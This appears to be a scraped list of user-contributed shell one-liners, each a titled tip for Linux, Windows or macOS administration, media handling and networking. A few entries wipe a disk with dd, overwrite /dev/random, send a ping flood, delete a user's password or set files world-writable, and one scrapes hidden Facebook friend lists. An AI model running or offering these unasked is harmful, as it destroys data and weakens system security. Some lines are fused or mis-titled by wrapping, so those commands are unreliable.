site="http://gifbin.com/"; for i in $(wget -qO- "$site"random| sed -r "s/^.*(bin\/.+\.gif).*$/\1/m" | grep "^bin"); do wget -c "$site$i"; filename=`basename $i`; [ `identify $filename | wc -l` -gt 1 ] || rm -f $filename; done
# Run Remote GUI Programs Using SSH Forwarding
ssh -C -X user@remotehost gui_command
# Outputs a 10-digit random number
n=$RANDOM$RANDOM$RANDOM; let "n %= 10000000000"; echo $n
# Check whether laptop is running on battery or cable
cat /proc/acpi/battery/*/state
# get msn buddy's info
purple-remote "msn:getinfo?screenname=xxx"
# mkdir & cd into it as single command
echo 'mkcd() { mkdir -p "$@" && cd "$_"; }' >> ~/.bashrc
# Reorder file with max 100 file per folder
files -type f | xargs -n100 | while read l; do mkdir $((++f)); cp $l $f; done
# Get your external IP address
curl icanhazip.com
# count how many cat processes are running
ps -a |grep cat |wc -l
# View facebook friend list [hidden or not hidden]
lynx -useragent=Opera -dump 'http://www.facebook.com/ajax/typeahead_friends.php?u=Bilal Butt&__a=1' |gawk -F'\"t\":\"' -v RS='\",' 'RT{print $NF}' |grep -v '\"n\":\"' |cut -d, -f2
# Inserting a decimal every third digit
perl -lpe'1 while s/^([-+]?\d+)(\d{3})/$1.$2/'
# tail, with specific pattern colored
tail -f file | egrep --color=always $\|PATTERN
# Unmount locked filesystems.
umount -l /media/foo
# Rickroll your users who try to sudo
echo "alias sudo=\"aplay annoyingsoundfile.ogg\"" >> .bash_aliases
# cut with tab or other white space chars
cut -f1 -d"<TAB>"
# Updating twitter with from curl
curl -u userid:password -d status="New Twitter Message" http://twitter.com/statuses/update.xml
# Convert images (foo.gif => foo.jpg)
for i in **/*.gif; convert $i $i:r.jpg
# count how many cat processes are running
pgrep -c cat
# Get the rough (german) time from Twitter by @zurvollenstunde
printf "%02d:%02d\n" $(curl -s "http://search.twitter.com/search?from=zurvollenstunde&rpp=1" | grep -E '(Es ist jetzt|ago)' | sed 's/<[^>]*>//g;s/[^[:digit:]]//g' | xargs )
# shows the space of a folder in bytes ever two seconds.
watch "df | grep /this/folder/"
# Get your external IP address
echo -e "GET /ip HTTP/1.0\nUser-Agent: netcat\nHOST: ifconfig.me\n\n" | nc ifconfig.me 80 | sed -n '/^[0-9]/p'
# Remove executable bit from all files in the current directory recursively, exc
luding other directories, firm permissionsfind . -type f -exec chmod 640 {} ';'
# x86info
x86info
# Play audio file
play $audio_file
# Pipe ls output into less
function lsless() { ls "$@" | less; }
# import database
mysql>use DBNAME; mysql>source FILENAME
# kill a windows process
wmic process where (caption="notepad.exe") call terminate
# counting a particular character in a file
fold -w 1 <file> | grep -c <character>
# Find/Replace in a bunch of files and keep a log of the changes
find . -type f | xargs grep -n "Old Text" | tee filesChanged.txt | sed 's/:.*$//' | xargs sed -i 's/Old Text/New Text/g
# sorts /dev/random
find /dev/ -name random -exec bash -c '[ -r $0 -a -w $0 ] && dd if=$0 | sort | dd of=$0' {} \;
# Create a mysql database from the command line
mysqladmin -u username -p create dbname
# startx output to log file
startx > startx.log 2>&1
# Mount a disk image (dmg) file in Mac OSX
hdid somefile.dmg
# count directory space usage in current directory with sort for microsoft windo
wsdiruse /,/M/* .|sort
# Recursively delete .svn folders
find . -name .svn | xargs rm -rf
# Alternative size (human readable) of directories (biggest last)
function duf { du -sk "$@" | sort -n | while read size fname; do for unit in k M G T P E Z Y; do if [ $size -lt 1024 ]; then echo -e "${size}${unit}\t${fname}"; break; fi; size=$((size/1024)); done; done; }
# Get the weather forecast for the next 24 to 48 for your location.
curl -s http://api.wunderground.com/auto/wui/geo/ForecastXML/index.xml?query=${@:-<YOURZIPORLOCATION>}|xmlstarlet sel -E utf-8 -t -m //forecast/txt_forecast/forecastday -v fcttext -n
# alias ps | grep
alias kfire='for i in `ps aux | grep [F]irefox `; do echo $i; kill $(($i)); done; '
# Kill process by searching something from 'ps' command
ps ux|grep <process name>|awk '{print $2}'|xargs -n 1 kill
# Not so simple countdown from a given date
watch -tn1 'bc<<<"`date -d'\''friday 21:00'\'' +%s`-`date +%s`"|perl -ne'\''@p=gmtime($_);printf("%dd %02d:%02d:%02d\n",@p[7,2,1,0]);'\'
# Alias to connect every single node of cluster
alias connectAllMachines='Terminal --maximize -e "ssh server1" --tab -e "ssh server2" --tab -e "ssh server3"'
# Checking total connections to each Ip inserver
netstat -alpn | grep :80 | awk '{print $4}' |awk -F: '{print $(NF-1)}' |sort | uniq -c | sort -n
# Display a random man page
dir="/bin"; man $(ls $dir |sed -n "$(echo $(( $RANDOM % $(ls $dir |wc -l | awk "{ print $1; }" ) + 1 )) )p")
# ssh Publickey auf remote Rechner anh?ngen
cat .ssh/id_rsa.pub | ssh user@server "cat >>.ssh/authorized_keys2"
# kerberos authentication
kinit username
# Display a random man page
man $(ls /bin | sed -n $((RANDOM % $(ls /bin | wc -l) + 1))p)
# Say no to overwriting if cp -i is the default alias.
yes n | cp something toSomeWhereElse
# Start Chrome with socks on Mac OSX
/Applications/Google\ Chrome.app/Contents/MacOS/Google\ Chrome --proxy-server=socks5://HOST:PORT
# remove file named 1 after fat fingeriing :w! in vi
:rm 1
# Quickly determine lines in terminal
_llines=100; while [ $_llines -gt 1 ]; do echo $_llines; _llines=$(($_llines-1)); done
# Kill an orphan console
skill -KILL -t ttyS0
# Change directory by inode
cd $(find -inum inode_no)
# Mount a windows partition in a dual boot linux installation...[Read Only Mount
ing]mount -o auto -t ntfs /dev/hda1 /windows
# Script to rip the audio from the youtube video you have open in firefox
video=$(ls /tmp | grep -e Flash\w*); ffmpeg -i /tmp/$video -f mp3 -ab 192k ~/ytaudio.mp3
# Recompress all text files in a subdirectory with lzma
find . -name '*.txt' | grep -v '\.lzma$' | xargs -n 1 lzma -f -v -3
# recursive remove all htm files
rm **/*.htm
# Get the size of every directories and files in a path recursively
for i in $(ls /the/path); do du -hs /the/path/$i; done
# Make all files in your current directory lower case
rename 'y/A-Z/a-z/' *
# whois multiple domains
for domain in `cat list_of_domains.txt`; do echo $domain; whois $domain >> output.txt; done
# view user friends
lynx -useragent=Opera -dump 'http://www.facebook.com/ajax/typeahead_friends.php?u=4&__a=1' |gawk -F'\"t\":\"' -v RS='\",' 'RT{print $NF}' |grep -v '\"n\":\"' |cut -d, -f2
# List SMTP connections by host
cat /var/log/secure | grep smtp | awk '{print $9}' | cut -f2 -d= | sort | uniq -c | sort -n | tail
# show all upd tcp an icmp traffic but ssh
tcpdump -n -v tcp or udp or icmp and not port 22
# Write and run a quick C program
alias cstdin='echo "Ctrl-D when done." && gcc -Wall -o ~/.stdin.exe ~/.stdin.c && ~/.stdin.exe'
# Using wget to receive an XML atom feed of your Gmail inbox
wget -O - 'https://USERNAMEHERE:[email protected]/mail/feed/atom' --no-check-certificate
# Get iPhone OS firmware URL (.ipsw)
get-ipsw(){ curl -s -L http://phobos.apple.com/version | sed -rn "s|[\t ]*<string>(http://appldnld\.apple\.com\.edgesuite\.net/content\.info\.apple\.com/iPhone[0-9]?/[^/]*/$1$2_$3_[A-Z0-9a-z]*_Restore\.ipsw)</string>|\1|p" | uniq; }
# delete files older than 1 month in a directory
require 'time';backup_dir = '/path';Dir.glob(backup_dir+"/*.sql").each{ |f| filetime = Time.parse(`mdls -name kMDItemContentCreationDate -raw #{f}`);monthago = Time.now - (30 * 60 * 60 * 24);`rm #{f}` if filetime < monthago }
# Show a config file without comments
grep -Pv '^\S*(#|$)'
# Running VirtualBox as headless
nohup VBoxHeadless -p 3052 -startvm ServidorProducao &
# Execute a command with a timeout
timelimit -t100 somecommand
# Convert unix timestamp to date
echo $EPOCH|awk '{print strftime("%c",$1)}'
# greps the man pages to find utilities
apropos keyword
# tar - extract only one file
tar zxvf package.tar.gz --strip 1
# Look for a string in one of your codes, excluding the files with svn and ~ (te
mp/back up files)find . -type f -exec grep StringToFind \{\} --with-filename \;|sed -e '/svn/d'|sed -e '/~/d'
# find the device when you only know the mount point
df | grep -w /media/KINGSTON | awk {'print $1'}
# Remote Screenshot
export DISPLAY=":0.0" && import -window root screenshot.png
# Add a list of numbers
paste -sd'+' file|bc -l
# Generate a random password 30 characters long
pwgen 30
# if you are alone and have to determine which switch port your server ends ...
here we gofor i in $(seq 300) ; do ethtool -s eth0 autoneg on ; sleep 2 ; done
# delete all tasks scheduled for the local computer
schtasks /delete /tn * /f
# Count httpd processes
pidof httpd | wc -w
# Show the number of current httpd processes
netstat -l -p --tcp | egrep -e 'www.*[0-9]{3,4}\/(apache2|httpd)' | awk '{print$7}'
# get a list of top 1000 sites from alexa
curl -s -O http://s3.amazonaws.com/alexa-static/top-1m.csv.zip ; unzip -q -o top-1m.csv.zip top-1m.csv ; head -1000 top-1m.csv | cut -d, -f2 | cut -d/ -f1 > topsites.txt
# kills all php5-fcgi processes for user per name
pgrep -u username php5-fcgi | xargs kill -9
# xxcopy everything from one Windows box to another
xxcopy x:\folder1 y:\folder2 /s /h /tca /tcc /tcw /yy
# unzip all zip files under a current directory in the directory those files wer
e infor f in `find ./ -name "*.zip"` ; do p=`pwd`; d=`dirname $f`; cd $d; b=`basename $f`; unzip $b; cd $p; done
# Outputs size of /example/folder in human readable format.
du -hs /example/folder/
# get debian version number
lsb_release -a
# uninstall Air on Ubuntu
sudo dpkg -P $(dpkg -l | grep -i adobeair)
# Backup the first 1MB of your volume
dd if=/dev/sdX of=/root/sdX.bin bs=1M count=1
# See where MySQL is looking for its config files
mysql -? | grep ".cnf"
# Empty a file of contents
> [filename]
# Print out "string" between "match1" and "match2"
echo "string" | sed -e 's/.*match1//' -e 's/match2.*$//'
# Get the mac address of eth0 in uppercase minus the colons
ifconfig eth0 | grep 'HWaddr' | awk '{print $5}' | tr 'a-z' 'A-Z' | sed -e 's/://g'
# Convert wav to mp3
lame rec01.wav rec01.mp3
# Convert .wav audio files to .gsm forman
sudo sox <file name>.wav -r 8000 <file name>.gsm
# List all files in current directory by size
du -sh *
# List all symbolic links in current directory
ls -l `ls -l |awk '/^l/ {print $8}'`
# Convert .wav audio files to .gsm format
sudo sox <file name>.wav -r 8000 <file name>.gsm
# Remove blank lines from a file and save output to new file
sed '/^$/d' file >newfile
# See where a shortened url takes you before click
curl -s http://urlxray.com/display.php?url=http://tinyurl.com/demo-xray | grep -o '<title>.*</title>' | sed 's/<title>.*--> \(.*\)<\/title>/\1/g'
# Returns the absolute path to a command, using which if needed
get_absolute_path() { echo $1 | sed "s|^\([^/].*/.*\)|$(pwd)/\1|;s|^\([^/]*\)$|$(which -- $1)|;s|^$|$1|"; }
# Move files around local filesystem with tar without wasting space using an int
ermediate tarball.tar -C <source_dir> -cf . | tar -C <dest_dir> -xf -
# open the last folder created
cd $(ls -1t --color=never | head -1)
# Display animated hourglass in the shell to indicate ongoing processing
hourglass(){ s=$(($SECONDS +${1:-10}));(tput civis;while [[ $SECONDS -lt $s ]];do for f in '|' ' ' '\-' /;do echo -n $f&&sleep .2s&&tput cub1;done;done);tput cnorm; }
# Save iptables firewall info
sudo iptables-save > /etc/iptables.up.rules
# Counts the number of TODOs in files with extension EXT found from the current
dir.find . -name "*.EXT" | xargs grep -n "TODO" | wc -l
# Delete an hard disk entry in Virtualbox registry
sed -i '/Centos/d' VirtualBox.xml
# Change default values on Foundry (Brocade) RX and MLX BigIron L3 (routers & sw
itches)system max <some value>
# Place a filename at the beginning of the line to make it easier to edit the se
arch at the end of the command. Place a filename at the beginning of the line to make it easier to edit the search at the end of the command.Place a filename at the beginning of the line to make it easier to edit the search at the end of the command.
# let w3m usecookie
alias w3m='w3m -cookie'
# Important 'default VLAN' command, for Foundry (Brocade) RX and MLX BigIron L3
(routers & switches)no untag
# Displays a 3-Month Calendar
cal -3
# Convert all .wav to .mp3
ls *.wav | while read f; do lame "$f" -o "$(echo $f | cut -d'.' -f1)".mp3; done;
# 802-1w (RSTP) 'root port' hard code, Foundry (Brocade) RX and MLX BigIron L3 (
routers & switches)rstp priority 0
# remove all files except *.txt
rm !(*.txt)
# tacacs+ Auth to (Cisco ACS) from Foundry (Brocade) RX and MLX BigIron L3 (rout
ers & switches)aaa authentication login default local tacacs+
# to clone an NTFS partition
ntfsclone
# fiber power levels on Foundry (Brocade) RX and MLX BigIron L3 (routers & switc
hes)show optic <slot #>
# Firefly quotes
yum install fortune-firefly; fortune
# create an empty NTFS partition
mkntfs /dev/hda1
# resize a NTFS partition
ntfsresize --size X[k,M.G] /dev/hda1
# forcing Windows to do the scandisk during boot
ntfsfix /dev/hda1
# Mount an external FAT32 USB HDD
sudo mount -t vfat /dev/sdb1 /mnt/sdb1
# List files that DO NOT match a pattern
ls *[^p][^a][^t]* ; # or shopt -s extglob; ls !(*pattern*)
# show your private/local ip address
ifconfig | sed '/.*addr.*Bcast.*/ ! d'| sed 's/.*addr:\([0-9\.]*\).*/\1/'
# Get all members from one AD group and put them in another AD group
for /F "DELIMS=""" %i in ('dsquery group -name SourceGroupName ^| dsget group -members') do dsquery group -name TargetGroupName | dsmod group -addmbr %i
# show your private/local ip address
ifconfig | awk '/inet addr/ &&! /127.0.0.1/{ gsub(/addr:/,""); print $2 }'
# Toggle the Touchpad on or off
if [ $(synclient -l | grep TouchpadOff | awk '{print $3}') = "2" ]; then synclient TouchpadOff=1; elif [ $(synclient -l | grep TouchpadOff | awk '{print $3}') == "1" ]; then synclient TouchpadOff=2; else synclient TouchpadOff=2; fi
# A bash prompt which shows the bash-version
PS1="$BLUE[$CYAN\u$BLUE@$CYAN\h$WHITE-bash \v:$GREEN\w$BLUE]$WHITE \$ "
# Mac, ip, and hostname change - sweet!
ifconfig eth0 down hw ether (newmacaddresshere) && ifconfig eth0 up && ifconfig eth0 (newipaddresshere) netmask 255.255.255.0 up && /bin/hostname (newhostnamehere)
# Generate an XKCD #936 style 4 word password
cat /usr/share/dict/words | grep -P ^[a-z].* | grep -v "'s$" | grep -Pv ^.\{1,15\}$ | shuf -n4 | tr '\n' ' ' | sed 's/$/\n/'
# close stderr
cat aaaaaa 2>&-
# Recursive file content search
find . -name *.php | xargs grep -i -n 'TERM'
# YES = NO
yes | tr 'y' 'n'
# Copy all JAR files to folder /tmp
find . -iname "*.jar" -exec cp '{}' /tmp/ \;
# Renames all files in the current directory such that the new file contains no
space characters.rename 's/ /_/g' *
# Search through files, ignoring .svn
find . -type f -print0 | grep -vzZ '.svn' | xargs -0 grep --color -nEHi "SEARCHTERM"
# prints long line
sed -n '/^.\{10\}/p'
# Search through your command line history
set -o vi
# convert vdi to vmdk (virtualbox v3.2 hard disk conversion to vmware hard disk
format)vboxmanage clonehd --format VMDK <source image|uuid> <destination image>
# Edit a file using vi or vim in read-only mode
vi -R filename
# find a class or file within a number of jar files
for i in `find . | grep jar$`; do echo $i; jar tvf $i | grep 'search-string'; done;
# Recursive and alphabetical orderly cp
for file in `find *| sort -n | sed 's% %?%g'`; do echo "${file//?/ }"; cp --parents "${file//?/ }" /destinity_folder/ ;done
# get today's xkcd
a=`curl http://xkcd.com 2>/dev/null | grep -iE 'src=.*imgs.xkcd.com/comics/'`; b=`echo ${a#*src=\"}`; eog ${b%%\"*}
# kill some process (same as others) but parsing to a variable
tokill=`ps -fea|grep process|awk '{ printf $2" "}'`; kill -9 $tokill;
# Download a complete podcast
wget -c -v -S -T 100 --tries=0 `curl -s http://ms1.espectador.com/ podcast/espectador/la_venganza_sera_terrible.xml | grep -v xml | grep link | sed 's/]*>//g'`
# Quickly backup your current directory
alias backup_dir='mkdir -p .backup && cp * .backup'
# Show directories in the PATH, one per line
echo src::${PATH} | awk 'BEGIN{pwd=ENVIRON["PWD"];RS=":";FS="\n"}!$1{$1=pwd}$1!~/^\//{$1=pwd"/"$1}{print $1}'
# convert all WAVs from any format (MS ADPCM) to PCM
for file in $(find -type f -iname "*wav"); do mv $file "$file"_orig.WAV; mplayer -ao pcm "$file"_orig.WAV -ao pcm:file=$file; done
# Useful if you need to see compiler errors while edit a code
alias clear='( for ((i=1;i<$LINES;i++)) ; do echo "" ; done ) ; clear'
# Get top 10 largest directories under cwd
du | sort -n | tail -11 | head
# Search and replace in multiple files and save them with the same names - quick
ly and effectively!for files in $(ls -A directory_name); do sed 's/search/replaced/g' $files > $files.new && mv $files.new $files; done;
# Get a text on a position on the file and store in a variable with a specific s
eparatorTIMEUNIT=$( cat a | grep -n "timescale" | awk -F ":" '{ print $1 } ' )
# Function to remove a password from a PDF
PdfPasswordDecrypt(){ for i; do qpdf --password=<YOUR PASSWD> --decrypt "$i" "new$i"; done; }
# Ping flood
sudo ping -f -s 56500 192.168.1.100
# Set Permission to user and group
chown -R webuser:webgroup /var/www/vhosts/domain.com/httpdocs
# On Linux boxes, sets the
gconftool-2 --set /apps/metacity/global_keybindings/panel_main_menu --type string "Super_L"
# Read Nth column (e.g. 2nd column) of a row of data in a file that has a specif
ic word (e.g. HOME) on that row and extract the last delimited value for the specified delimiter (e.g. /)grep 'HOME.*' data.txt | awk '{print $2}' | awk '{FS="/"}{print $NF}' OR USE ALTERNATE WAY awk '/HOME/ {print $2}' data.txt | awk -F'/' '{print $NF}'
# Go to the last directory invoked on command line
cd !$
# Individually compress each file in a directory
gzip *
# ldapsearch -x -s base namingContexts -LLL
list the naming contexts of a directory server (no need to search in config files)
# Run ADSL connection
pon dsl-provider
# remove exact phrase from multiple files
grep -r "mystring" . |uniq | cut -d: -f1 | xargs sed -i "s/mystring//"
# oneliner to open several times same application
for ((i=0;i<5;i++)) ; do xpenguins & done
# oneliner to open several times same application
for i in $(seq 5); do xpenguins & done
# Binary editor
bvi [binary-file]
# Terrorist threat level text
xmlstarlet sel --net -t -o "Terrorist threat level: " -v //@CONDITION http://is.gd/wacQtQ
# Checking DNS zone on Name servers directly
host <domain> <nameserver name>
# Suspend to ram
sudo /etc/acpi/sleep.sh sleep
# encrypt file.txt using myfriend's pubkey && add your signature
gpg -ser '[email protected]' file.txt
# Get the browser user-agent
curl sputnick-area.net/ua
# http://xname.cc/text/video-streaming-on-wan.pdf (encode.sh)
./encode.sh [ h264 | xvid | theora | mpeg4 ]
# Press Any Key to Continue
read enterKey
# Check your ip public using dyndns.org
wget http://checkip.dyndns.org/ -q -O - | grep -Eo '\<[[:digit:]]{1,3}(\.[[:digit:]]{1,3}){3}\>'
# Launch a Daemon on OSX tiger
launchctl load /Library/LaunchDaemons/<plist config filename>.plist
# Duplicate a directory tree using tar and pipes
(cd /source/dir ; tar cvf - .)|(cd /dest/dir ; tar xvpf -)
# generate random password
openssl rand -base64 1000 | tr "[:upper:]" "[:lower:]" | tr -cd "[:alnum:]" | tr -d "lo" | cut -c 1-8 | pbcopy
# sendmail via commandline
cat file.txt | sendmail -F myname -f [email protected] [email protected]
# tar per directory
cd <YOUR_DIRECTORY>; for i in `ls ./`; do tar czvf "$i".tar.gz "$i" ; done
# backup and remove files with access time older than 5 days.
tar -zcvpf backup_`date +"%Y%m%d_%H%M%S"`.tar.gz `find <target> -atime +5 -type f` 2> /dev/null | parallel -X rm -f
# What is my ip?
alias whatismyip="wget -q -O - http://whatismyip.com/automation/n09230945.asp"
# BASH: Print shell variable into AWK
MyVAR=84; awk '{ print "'"$MyVAR"'" }'
# View last 100 lines of your SSH log
tail /var/log/auth.log -n 100
# Unique number by Mac Address
UNIQUE_BY_MAC=$(ifconfig |grep eth0|awk '{ print strtonum("0x"substr($6,16,2)) }')
# List installed hardware
kudzu -p
# psgrep
psgrep() { if [ ! -z $1 ] ; then echo "Grepping for processes matching $1..." ps aux | grep -i $1 | grep -v grep else echo "!! Need name to grep for" fi }
# Twitter from commandline with curl
curl --basic --user username:password --data status="Twitter from commandline with curl" https://twitter.com/statuses/update.xml
# Show the processes that use old libs and need a restart
lsof | grep 'DEL.*lib' | cut -f 1 -d ' ' | sort -u
# Fill up disk space (for testing)
dd if=/dev/zero of=/fs/to/fill/dummy00 bs=8192 count=$(df --block-size=8192 / | awk 'NR!=1 {print $4-100}')
# Reconstruct standard permissions for directories and files in current director
ychmod -R u=rwX,go=rX .
# Repeat last executed command
!!
# aliases for apt-get
alias agi="sudo apt-get install" #package_names
# geoip information
geoip() { lynx -dump "http://www.geoiptool.com/en/?IP=$1" | sed -n '/Host Name/,/Postal code/p' ; }
# commit message generator - whatthecommit.com
lynx -dump -nolist http://whatthecommit.com/|sed -n 2p
# HTTP Caching (gateway/reverse proxy cache for webapps)
response.headers['Cache-Control'] = 'public, max-age=60';
# urlencode
(Command too long..See sample Output..)
# View new log messages in real time
tail -f /var/log/messages
# Tar Pipe
tar cvf - /src | ( cd /dest ; tar xvf - )
# Join lines
echo -e "aa\nbb\ncc\ndd\n123" | sed -e :a -e "/$/N; s/\n/;/; ta"
# Figure out what shell you're running
ps ho command $$
# backup the old files
tar -zcps <dir> -X <(find <dir> -type f -mtime -<days>) |ssh user@backuphost tar -xzpsC /data/bkup
# Use FileMerge to compare two files
opendiff <file1> <file2>
# Start a quick rsync daemon for fast copying on internal secure network
rsync --daemon --port 9999 --no-detach -v --config .rsyncd.conf
# Random Decimal in the interval 0 &#8804; n < 1 and 2d6 dice roll
awk 'BEGIN { srand(); print rand() }'
# Return IP Address
ifconfig -a|grep Bcast:|cut -d\: -f2|awk '{print $1}'
# Shows users and 'virtual users' on your a unix-type system
ps -axgu | cut -f1 -d' ' | sort -u
# Find 'foo' in located files
locate searchstring | xargs grep foo
# Execute extension with chrome
wget -O gsplitter.crx "https://clients2.google.com/service/update2/crx?response=redirect&x=id%3Dlnlfpoefmdfplomdfppalohfbmlapjjo%26uc%26lang%3Den-US&prod=chrome&prodversion=8.0.552.224" ; google-chrome --load-extension gspliter.crx
# Backup a file with a date-time stamp
buf () {oldname=$1; if [ "$oldname" != "" ]; then datepart=$(date +%Y-%m-%d); firstpart=`echo $oldname | cut -d "." -f 1`; newname=`echo $oldname | sed s/$firstpart/$firstpart.$datepart/`; cp -i ${oldname} ${newname}; fi }
# Regex or
egrep '(expr1|expr2)' file
# Execute AccuRev pop command to retrieve missing files from a workspace.
accurev stat -M -fl | awk '{print "\"" $0 "\""}' | xargs accurev pop
# Show local IP
ifconfig eth0 | grep "inet:" | cut -d ":" -f2 | cut -d " " -f1
# Remove unused libs/packages in debian-based distros
apt-get remove `deborphan`
# Move a file up a directory.
mv file_name.extension ..
# Pipe music over netcat with mpg123
#Client# cat "The Meters - People Say.mp3" | nc -vv 192.168.1.100 8080; #Server#
nc -vv -l -s 192.168.1.100 -p 8080 | mpg123 -v -
# print line and execute it in BASH
<TBD>
# Apache server config file
apache2ctl -V | grep SERVER_CONFIG_FILE
# Return IP Address
awk '/inet end/ {print $3}' <(ifconfig eth0)
# Recursive chmod all files and directories within the current directory
find . -exec chmod 777 {} \;
# determine if tcp port is open
nc <ip> <port> -v
# Get your external IP address
curl whatismyip.org
# Find files containing "text"
grep -lir "text to find" *
# rm all files you grep
find . | grep deleteme | while read line; do rm $line; done
# set fan speed (ATI cards)
aticonfig --pplib-cmd "set fanspeed 0 <number>"
# Reset scrambled screen
cat [ENTER]^V^O[ENTER]^D
# Display directory hierarchy listing as a tree
ls -R | grep : | sed -e '\''s/:$//'\'' -e '\''s/[^-][^\/]*\//--/g'\'' -e '\''s/^/ /'\'' -e '\''s/-/|/'\''
# Copy All mp3 files in iTunes into one folder (Example: Music on Desktop) (Os X
)find ~/Music/iTunes/ -name *.mp3 -exec cp {} ~/Desktop/Music/ \;
# recursively delete .svn folders from a directory
rm -rf `find . -type d -name .svn`
# Stage added, updated, and DELETED files for commit
git add -u
# Testing php configuration
echo "<?php phpinfo(); ?>" >> /srv/www/htdocs/test.php
# Copy directories and files just like
xcopy /e/h/y /z/i /k /f src dest
# Selecting a random file/folder of a folder
ls -1 | awk 'BEGIN{srand()} {x[NR] = $0} END{print "Selected", x[1 + int(rand() * NR)]}'
# Monitoring a port connections
while true ; do sleep 1 ; clear ; (netstat -tn | grep -P ':36089\s+\d') ; done
# Echo several blank lines
yes '' | head -n100
# MS-DOS only: Loop over array of system variable
FOR /F "tokens=3* delims=[]=" %A IN ('SET ARRAY[') DO ( echo %A )
# Selecting a random file/folder of a folder
IFS=$'\n'; LIST=`ls -1`; let TOT=`echo $LIST | wc -w`-1 ; array=($LIST); echo "Selected ${array[ ($RANDOM % $TOT) ]}"
# Quick alias for case-insensitive grep
alias grip="grep -i"
# Random Number Between 1 And X
echo "$(od -An -N4 -tu4 /dev/urandom) % 5 + 1" | bc
# Selecting a random file/folder of a folder
echo Selected $(ls -1 | sort -R | head -n 1)
# MS-DOS only: Loop over array of system variable with each var containing multi
ple valuesFOR /F "tokens=3* delims=[]=," %A IN ('SET ARRAY[') DO ( echo %A -- %B )
# LSD: List directory files in current directory
ls -l !* | /usr/bin/grep '^d'
# print crontab entries for all the users that actually have a crontab
for USER in `ls /var/spool/cron`; do echo "=== crontab for $USER ==="; echo $USER; done
# Press Any Key to Continue
echo -n "Press any key to continue..." && read
# Lists all listening ports together with the PID of the associated process
netstat -tunlp
# find all references to a server in web.config files with powershell
ls \\someserver\c$\inetpub\wwwroot -r -i web.config | Select-String "SomeMachineName"
# Replace tabs with spaces in file
cat file_with_tabs.txt | perl -pe 's/\t/ /g'
# Randomize the order of lines in a text file.
awk 'BEGIN {srand()} {print int(rand()*1000000) "\t" $0}' FILE | sort -n | cut -f 2-
# Read just the IP address of a device
ip addr|grep "inet "
# securely locate file and dir
slocate filename/dirname
# determine if a shared library is compiled as 32bit or 64bit
file -L <library> | grep -q '64-bit' && echo 'library is 64 bit' || echo 'library is 32 bit'
# rcs - local backup of any text configuration file before dangerous experiment
with version control and commentsci -l /etc/rc.conf
# Print a row of 50 hyphens
<alt+50>-
# Bash function to see if the day ends in "y"
function ends_in_y() { if [ `date +%A | sed -e 's/\(^.*\)\(.$\)/\2/'` == "y" ]; then echo 1; else echo 0; fi }
# Play a random [album/movie] two rows down
mplayer "$(find . -maxdepth 2 -mindepth 2 -type d | grep -v '^.$' | sort -R | head -n1)"/*
# Removes Apple "garbage"
find . -name *DS_Store -exec echo rm {} \;
# How to run a specific command in remote server by ssh
ssh user@remotehost [anycommand](i.e uptime,w)
# Delete everything on hda
dd if=/dev/zero of=/dev/hda bs=16M
# bind a web server in $PWD
python -c "import SimpleHTTPServer;SimpleHTTPServer.test()"
# last mounted device
mount |tail -1 | less -p "/dev/[^ ]*"
# Create a newFolder that is a symbolic link to another folder
ln -s /destinationTarget /sourceTarget/newFolder
# Update all GPG keys in your keyring
gpg --refresh-keys
# Open files of the same name in TextMate
mate - `find . -name 'filename'`
# How many Non-free software is on your machine ?
vrms
# list all file extensions in a directory
ls | perl -lne '++$x{lc $1} if /[.](.+)$/ }{ print for keys %x'
# to perform operation line by line in a file without using sed or awk
s=`head -$i fileName | tail -1`
# Overcome Bash's expansion order
mkdir ${1..10}
# List only hidden files
ls -ad .*
# Quickly make schema changes in Django
while true ; do scripts/bootstrap.py ; ./manage.py runserver ; done
# Execute a PHP script every 30 minutes using crontab
0,30 * * * * php -q /address/to/script.php
# Prepend string to filename
ls | while read -r FILE; do mv -v "$FILE" `echo "prependtext$FILE" `; done
# stores the number of lines of "file" in a variable to use in a loop
count=`wc -l file | cut -d ' ' -f1`
# Record live sound from soundcard input to FLAC
rec -c 2 -r 44100 -s -t wav - | flac - --sign=signed --channels=2 --endian=big --sample-rate=44100 --bps=16 -f -o file.flac
# shell function to find duplicate lines in a series of files or in stdin
dups() { sort "$@" | uniq -d; }
# Delete tens of thousans of files at one go
rm -rf `ls | head -5000`
# remove the last of all html files in a directory
a=($(ls *html)) && a=${a[$(expr ${#a[@]} - 1)]} && rm $a
# Show a script or config file without comments
sed -e '/^[[:blank:]]*#/d; s/[[:blank:]][[:blank:]]*#.*//' -e '/^$/d' -e '/^\/\/.*/d' -e '/^\/\*/d;/^ \* /d;/^ \*\//d' /a/file/with/comments
# View SuSE version
cat /etc/SuSE-release
# Jump to any directory below the current one
jd() { cd **/"$@"; }
# Copy files over network using compression
on the listening side: sudo nc -lp 2022 | sudo tar -xvf - and on the sending side: tar -cvzf - ./*| nc -w 3 name_of_listening_host 2022
# shutdown pc in a 4 hours
sleep 4h && halt
# Play music radio from Z-103.5
mplayer http://38.100.101.69/CIDCFMAAC
# Redirecting stderr to file
<command> 2> <file>
# Compress and Backup a disk image
dd if=/dev/<device location> | gzip -c /<path to backup location>/<disk image name>.img.gz
# Enable passwordless login
passwd -d $USER
# How many lines in your c project?
find -name *.\[c\|h\] | xargs wc -l
# unzip file on local machine copy to remote machine with ssh
gzip -cd file.gz | ssh user@host 'dd of=~/file'
# Current host external IP
wget http://cmyip.com -O - -o /dev/null | awk '/\<title/ {print $4}'
# Convert *.mp3 files to *.wav for recording audio cd's
ls |while read line ; do mpg321 -w "$line.wav" "$line" ; done
# Check cobbler environment
cobbler check
# Remove password from any pdf in current or sub directories
for z in */*.pdf; do gs -q -dNOPAUSE -dBATCH -sDEVICE=pdfwrite -sOutputFile="$z new" -c .setpdfwrite -f "$z" mv "$z new" "$z"; done
# Encoding with base64
echo "Hello world" | base64
# flush cached dns lookups
ipconfig /flushdns
# Remove lines with matched string
for i in $(find . -iname '*.html'); do sed '/String/d' $i > $i-tmp; mv $i-tmp $i; done
# Kill multiple instances of a running process
pgrep rouge-process | xargs sudo kill -9
# Read a gzipped text file directly with less.
less textfile.gz
# Generate load on your CPU
while true; do /bin/true; done
# Ultimate current directory usage command
ls -shF --color
# Get your external IP address
lynx --dump icanhazip.com
# Empty The Trash
alias trash="rm -fr ~/.local/share/Trash"
# Create Bootable USB from ISO file
xcopy D:\*.* /s/e/f E:\
# Remove packages by pattern on debian and based systems
sudo apt-get remove --purge `dpkg -l | awk '{print $2}' | grep gnome` && apt-get autoremove
# Recursive when needed
rm strangedirs -rf
# Cut a large wordlist into smaller chunks
less file.lst | head -n 50000 > output.txt
# get basic information out of your computer
lspci
